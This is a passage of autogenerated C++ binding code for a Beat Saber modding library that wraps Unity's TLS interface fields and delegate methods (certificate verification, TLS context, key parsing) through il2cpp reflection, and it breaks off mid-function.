::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_free_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_free() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509list_free"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_x509list_free"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_free_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_default_ca_t unitytls_x509verify_default_ca ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_default_ca_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509verify_default_ca() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509verify_default_ca"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_x509verify_default_ca"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_default_ca_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_explicit_ca_t unitytls_x509verify_explicit_ca ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_explicit_ca_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509verify_explicit_ca() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_x509verify_explicit_ca"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_x509verify_explicit_ca"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_explicit_ca_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_server_t unitytls_tlsctx_create_server ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_server_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_create_server() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_create_server"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_create_server"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_server_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_client_t unitytls_tlsctx_create_client ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_client_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_create_client() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_create_client"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_create_client"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_client_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_server_require_client_authentication_t unitytls_tlsctx_server_require_client_authentication ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_server_require_client_authentication_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_server_require_client_authentication() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_server_require_client_authentication"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_server_require_client_authentication"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_server_require_client_authentication_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_certificate_callback_t unitytls_tlsctx_set_certificate_callback ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_certificate_callback_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_set_certificate_callback() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_set_certificate_callback"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_set_certificate_callback"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_certificate_callback_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_trace_callback_t unitytls_tlsctx_set_trace_callback ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_trace_callback_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_set_trace_callback() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_set_trace_callback"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_set_trace_callback"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_trace_callback_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_x509verify_callback_t unitytls_tlsctx_set_x509verify_callback ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_x509verify_callback_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_set_x509verify_callback() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_set_x509verify_callback"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_set_x509verify_callback"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_x509verify_callback_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_supported_ciphersuites_t unitytls_tlsctx_set_supported_ciphersuites ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_supported_ciphersuites_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_set_supported_ciphersuites() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_set_supported_ciphersuites"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_set_supported_ciphersuites"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_supported_ciphersuites_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_ciphersuite_t unitytls_tlsctx_get_ciphersuite ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_ciphersuite_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_get_ciphersuite() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_get_ciphersuite"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_get_ciphersuite"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_ciphersuite_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_protocol_t unitytls_tlsctx_get_protocol ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_protocol_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_get_protocol() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_get_protocol"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_get_protocol"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_protocol_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_process_handshake_t unitytls_tlsctx_process_handshake ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_process_handshake_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_process_handshake() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_process_handshake"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_process_handshake"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_process_handshake_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_read_t unitytls_tlsctx_read ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_read_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_read() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_read"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_read"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_read_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_write_t unitytls_tlsctx_write ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_write_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_write() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_write"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_write"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_write_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_notify_close_t unitytls_tlsctx_notify_close ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_notify_close_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_notify_close() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_notify_close"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_notify_close"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_notify_close_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_free_t unitytls_tlsctx_free ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_free_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_free() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_tlsctx_free"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_tlsctx_free"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_free_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_random_generate_bytes_t unitytls_random_generate_bytes ::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_random_generate_bytes_t*& Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_random_generate_bytes() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::dyn_unitytls_random_generate_bytes"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "unitytls_random_generate_bytes"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_random_generate_bytes_t**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_create_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_errorstate_create_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_create_t.Invoke ::Mono::Unity::UnityTls::unitytls_errorstate Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_create_t::Invoke() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_create_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_errorstate, false>(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_create_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_create_t::BeginInvoke(::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_create_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_create_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_errorstate Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_create_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_create_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_errorstate, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_raise_error_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_errorstate_raise_error_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code #include "Mono/Unity/UnityTls_unitytls_error_code.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_raise_error_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_raise_error_t::Invoke(::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::Mono::Unity::UnityTls::unitytls_error_code errorCode) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_raise_error_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(errorCode)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, errorState, errorCode); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_raise_error_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_raise_error_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::Mono::Unity::UnityTls::unitytls_error_code errorCode, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_raise_error_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(errorCode), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, errorState, errorCode, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_errorstate_raise_error_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_raise_error_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_errorstate_raise_error_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_get_ref_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_key_get_ref_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_key_ref #include "Mono/Unity/UnityTls_unitytls_key_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_key #include "Mono/Unity/UnityTls_unitytls_key.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_get_ref_t.Invoke ::Mono::Unity::UnityTls::unitytls_key_ref Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_get_ref_t::Invoke(::Mono::Unity::UnityTls::unitytls_key* key, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_get_ref_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(key), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_key_ref, false>(this, ___internal__method, key, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_get_ref_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_get_ref_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_key* key, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_get_ref_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(key), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, key, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_get_ref_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_key_ref Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_get_ref_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_get_ref_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_key_ref, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_der_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_key_parse_der_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_key #include "Mono/Unity/UnityTls_unitytls_key.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_der_t.Invoke ::Mono::Unity::UnityTls::unitytls_key* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_der_t::Invoke(uint8_t* buffer, ::System::IntPtr bufferLen, uint8_t* password, ::System::IntPtr passwordLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_der_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(password), ::il2cpp_utils::ExtractType(passwordLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_key*, false>(this, ___internal__method, buffer, bufferLen, password, passwordLen, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_der_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_der_t::BeginInvoke(uint8_t* buffer, ::System::IntPtr bufferLen, uint8_t* password, ::System::IntPtr passwordLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_der_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(password), ::il2cpp_utils::ExtractType(passwordLen), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, buffer, bufferLen, password, passwordLen, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_der_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_key* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_der_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_der_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_key*, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_pem_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_key_parse_pem_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_key #include "Mono/Unity/UnityTls_unitytls_key.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_pem_t.Invoke ::Mono::Unity::UnityTls::unitytls_key* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_pem_t::Invoke(uint8_t* buffer, ::System::IntPtr bufferLen, uint8_t* password, ::System::IntPtr passwordLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_pem_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(buffer), 